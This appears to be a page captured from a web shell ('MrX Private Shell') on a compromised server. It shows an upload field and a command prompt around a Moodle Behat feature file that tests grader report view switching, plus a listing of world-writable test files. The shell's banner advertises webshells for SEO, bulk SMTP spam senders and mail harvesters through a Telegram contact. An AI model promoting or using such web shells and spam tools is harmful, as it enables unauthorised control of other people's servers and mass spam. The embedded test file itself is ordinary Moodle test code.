__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@gradereport @gradereport_grader
Feature: We can change what we are viewing on the grader report
  In order to check the expected results are displayed
  As a teacher
  I need to assign grades and check that they display correctly in the gradebook when switching between views.

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1        | topics |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
      | student1 | Student   | 1        | student1@example.com |
      | student2 | Student   | 2        | student2@example.com |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
      | student2 | C1     | student        |
    And the following "activities" exist:
      | activity | course | section | name                   | intro                   | assignsubmission_onlinetext_enabled | submissiondrafts |
      | assign   | C1     | 1       | Test assignment name 1 | Submit your online text | 1                                   | 0                |
      | assign   | C1     | 1       | Test assignment name 2 | submit your online text | 1                                   | 0                |
    And the following "mod_assign > submissions" exist:
      | assign                 | user     | onlinetext                            |
      | Test assignment name 1 | student1 | This is a submission for assignment 1 |
      | Test assignment name 2 | student1 | This is a submission for assignment 2 |
    And the following "grade items" exist:
      | itemname     | grademin | grademax | course |
      | Manual grade | 20       | 40       | C1     |
    And the following "grade grades" exist:
      | gradeitem              | user     | grade |
      | Test assignment name 1 | student1 | 80    |
      | Test assignment name 2 | student1 | 90    |
      | Manual grade           | student1 | 30    |
    And I log in as "teacher1"

  @javascript
  Scenario: View and minimise the grader report containing hidden activities
    When I am on "Course 1" course homepage with editing mode on
    And I open "Test assignment name 2" actions menu
    And I choose "Hide" in the open action menu
    And I am on "Course 1" course homepage with editing mode off
    And I navigate to "View > Grader report" in the course gradebook
    And I should see "Test assignment name 1" in the "user-grades" "table"
    And I should see "Test assignment name 2" in the "user-grades" "table"
    And I should see "Manual grade"
    And I should see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       | -4-       | -5-       | -6-       |
      | Student 1          | student1@example.com | 80        | 90        | 30        | 170       |
    And I click on grade item menu "Course 1" of type "course" on "grader" page
    And I choose "Show totals only" in the open action menu
    And I should not see "Test assignment name 1" in the "user-grades" "table"
    And I should not see "Test assignment name 2" in the "user-grades" "table"
    And I should not see "Manual grade"
    And I should see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       |
      | Student 1          | student1@example.com | 170       |
    And I click on grade item menu "Course 1" of type "course" on "grader" page
    And I click on "Show grades only" "link"
    And I should see "Test assignment name 1" in the "user-grades" "table"
    And I should see "Test assignment name 2" in the "user-grades" "table"
    And I should see "Manual grade"
    And I should not see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       | -4-       | -5-       |
      | Student 1          | student1@example.com | 80        | 90        | 30        |

  @javascript @skip_chrome_zerosize
  Scenario: Minimise the grader report containing hidden activities without the 'moodle/grade:viewhidden' capability
    Given I am on "Course 1" course homepage with editing mode on
    And I open "Test assignment name 2" actions menu
    And I choose "Hide" in the open action menu
    And the following "role capability" exists:
      | role                    | editingteacher |
      | moodle/grade:viewhidden | prevent        |
    And I am on the "Course 1" "grades > Grader report > View" page logged in as "teacher1"
    Then I should see "Test assignment name 1" in the "user-grades" "table"
    And I should see "Test assignment name 2" in the "user-grades" "table"
    And I should see "Manual grade"
    And I should see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       | -4-       | -5-       | -6-       |
      | Student 1          | student1@example.com | 80        | -         | 30        | 105.71    |
    And I click on grade item menu "Course 1" of type "course" on "grader" page
    And I choose "Show totals only" in the open action menu
    And I should not see "Test assignment name 1" in the "user-grades" "table"
    And I should not see "Test assignment name 2" in the "user-grades" "table"
    And I should not see "Manual grade"
    And I should see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       |
      | Student 1          | student1@example.com | 105.71    |
    And I click on grade item menu "Course 1" of type "course" on "grader" page
    When I click on "Show grades only" "link"
    Then I should see "Test assignment name 1" in the "user-grades" "table"
    And I should see "Test assignment name 2" in the "user-grades" "table"
    And I should see "Manual grade"
    And I should not see "Course total"
    And the following should exist in the "user-grades" table:
      | -1-                | -2-                  | -3-       | -4-       | -5-       |
      | Student 1          | student1@example.com | 80        | -         | 30        |

Filemanager

Name Type Size Permission Actions
behat_gradereport_grader.php File 4.75 KB 0777
behat_gradereport_grader_deprecated.php File 10.7 KB 0777
column_collapsing.feature File 17.74 KB 0777
groupsearch.feature File 6.05 KB 0777
locking.feature File 3.13 KB 0777
pagination.feature File 4.16 KB 0777
sort_gradeitems_user_fields.feature File 4.5 KB 0777
switch_views.feature File 6.25 KB 0777
tertiary_name_filter.feature File 10.78 KB 0777
tertiary_navigation_searching.feature File 21.57 KB 0777
Filemanager